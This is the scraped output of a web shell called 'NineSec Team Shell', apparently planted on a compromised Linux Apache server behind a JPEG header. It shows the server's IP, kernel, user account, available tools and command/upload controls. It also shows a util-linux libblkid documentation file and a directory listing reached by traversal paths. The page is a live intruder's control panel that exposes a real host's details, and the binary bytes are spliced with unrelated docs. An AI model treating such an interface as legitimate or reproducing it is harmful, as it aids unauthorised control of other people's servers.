�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /media/../usr/share/javascript/../doc/nodejs/../git/../cpp/../python3/../util-linux/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //media/../usr/share/javascript/../doc/nodejs/../git/../cpp/../python3/../util-linux/blkid.txt
libblkid - a library to handle device identification and token extraction

Basic usage is as follows - there are two normal usage patterns:

For cases where a program wants information about multiple devices, or
expects to be doing multiple token searches, the program should
directly initialize cache file via (second parameter is cache
filename, NULL = default):

	blkid_cache cache = NULL;
	if (blkid_get_cache(&cache, NULL) < 0)
		/* error reading the cache file, not really fatal */

Note that if no cache file exists, an empty cache struct is still
allocated.  Usage of libblkid functions will use the cache to avoid
needless device scans.

The model of the blkid cache is that each device has a number of
attributes that can be associated with it.  Currently the attributes
which are supported (and set) by blkid are:

	TYPE		filesystem type
	UUID		filesystem uuid
	LABEL		filesystem label


How to use libblkid?  Normally, you either want to find a device with
a specific NAME=value token, or you want to output token(s) from a
device.  To find a device that matches a following attribute, you
simply call the blkid_get_devname() function:

	if ((devname = blkid_get_devname(cache, attribute_name, value))) {
		/* do something with devname */
		string_free(devname);
	}

The cache parameter is optional; if it is NULL, then the blkid library
will load the default blkid.tab cache file, and then release the cache
before function call returns.  The return value is an allocated string
which holds the resulting device name (if it is found).  If the value
is NULL, then attribute_name is parsed as if it were
"<attribute_name>=<value>"; if it cannot be so parsed, then the
original attribute_name is returned in a copied allocated string.
This is a convenience to allow user programs to want to translate user
input, whether it is of the form: "/dev/hda1", "LABEL=root",
"UUID=082D-26E3", and get back a device name that it can use.

Alternatively, of course, the programmer can pass an attribute name of
"LABEL", and value of "root", if that is more convenient.

Another common usage is to retrieve the value of a specific attribute
for a particular device.  This can be used to determine the filesystem
type, or label, or uuid for a particular device:

	if ((value = blkid_get_tag_value(cache, attribute_name, devname))) {
		/* do something with value */
		string_free(value);
	}

If a program needs to call multiple blkid functions, then passing in a
cache value of NULL is not recommended, since the blkid.tab file
will be repeatedly parsed over and over again, with memory allocated
and deallocated.  To initialize the blkid cache, blkid_get_cache()
function is used:

	if (blkid_get_cache(&cache, NULL) < 0)
		goto errout;

The second parameter of blkid_get_cache (if non-zero) is the alternate filename
of the blkid cache file (see blkid man page for more information about the
default cache file location).

Normally, programs should just pass in NULL.

If you have called blkid_get_cache(), you should call blkid_put_cache()
when you are done using the blkid library functions.  This will save the
cache to the blkid.tab file, if you have write access to the file.  It
will also free all associated devices and tags:

	blkid_put_cache(cache);

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
April 08 2025 12:08:09
root
0755
examples
--
October 23 2023 6:28:41
root
0755
releases
--
October 23 2023 6:28:41
root
0755
00-about-docs.txt
0.254 KB
September 18 2017 11:48:03
root
0644
AUTHORS.gz
12.12 KB
June 14 2019 12:30:07
root
0644
NEWS.Debian.gz
1.862 KB
May 30 2023 5:42:35
root
0644
PAM-configuration.txt
0.655 KB
September 18 2017 11:48:03
root
0644
README.Debian
0.47 KB
May 30 2023 5:42:35
root
0644
blkid.txt
3.182 KB
February 22 2019 11:17:43
root
0644
cal.txt
2.211 KB
September 18 2017 11:48:03
root
0644
changelog.Debian.gz
1.576 KB
May 30 2023 5:42:35
root
0644
col.txt
1.868 KB
September 18 2017 11:48:03
root
0644
copyright
17.555 KB
May 30 2023 5:42:35
root
0644
deprecated.txt
2.902 KB
April 24 2019 11:02:03
root
0644
getopt.txt
0.969 KB
September 18 2017 11:48:03
root
0644
getopt_changelog.txt
1.883 KB
September 18 2017 11:48:03
root
0644
howto-build-sys.txt
3.118 KB
September 18 2017 11:48:03
root
0644
howto-compilation.txt
2.615 KB
February 22 2019 11:17:43
root
0644
howto-contribute.txt.gz
3.334 KB
February 22 2019 11:17:43
root
0644
howto-debug.txt
2.38 KB
September 18 2017 11:48:03
root
0644
howto-man-page.txt.gz
2.251 KB
June 04 2018 9:57:02
root
0644
howto-pull-request.txt.gz
4.162 KB
June 04 2018 9:57:02
root
0644
howto-tests.txt
3.622 KB
February 22 2019 11:17:43
root
0644
howto-usage-function.txt.gz
2.273 KB
June 04 2018 9:57:02
root
0644
hwclock.txt
0.145 KB
September 18 2017 11:48:03
root
0644
modems-with-agetty.txt
2.556 KB
September 18 2017 11:48:03
root
0644
mount.txt
0.51 KB
September 18 2017 11:48:03
root
0644
parse-date.txt.gz
7.934 KB
June 21 2018 11:58:10
root
0644
pg.txt
0.438 KB
September 18 2017 11:48:03
root
0644
poeigl.txt.gz
8.677 KB
June 04 2018 9:57:02
root
0644
release-schedule.txt
1.323 KB
June 04 2018 9:57:02
root
0644

NineSec Team - 2022